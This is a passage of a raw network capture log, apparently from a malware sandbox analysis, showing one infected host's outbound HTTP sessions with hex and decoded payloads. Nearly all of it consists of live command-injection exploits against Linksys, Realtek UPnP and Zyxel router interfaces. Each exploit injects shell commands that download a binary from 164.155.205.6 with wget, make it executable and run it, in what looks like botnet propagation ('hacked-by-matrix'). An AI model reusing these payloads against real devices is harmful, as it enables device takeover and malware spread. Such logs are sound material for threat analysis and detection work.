31 31 3a 33 38 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /cgi-bin/ViewLog.aspon this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:40 GMTServer: Apache/2.4.6Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1645	192.168.2.23	34664	38.174.63.25	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.135921955 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:39.229564905 CET	123	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port
1646	192.168.2.23	32946	192.138.75.182	52869

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.429469109 CET	986	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:39.544507980 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBAC

Session ID	Source IP	Source Port	Destination IP	Destination Port
1647	192.168.2.23	43776	172.255.82.223	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.480303049 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:39.623847008 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.23	54380	83.166.147.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.525382996 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.750577927 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.918330908 CET	500	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:39 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Mar 2, 2024 12:38:39.918385029 CET	498	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:39 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 64 6d 38 2e 78 6f 6d 65 2e 63 68 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at adm8.xome.ch Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.23	32952	192.138.75.182	52869

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.553258896 CET	986	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
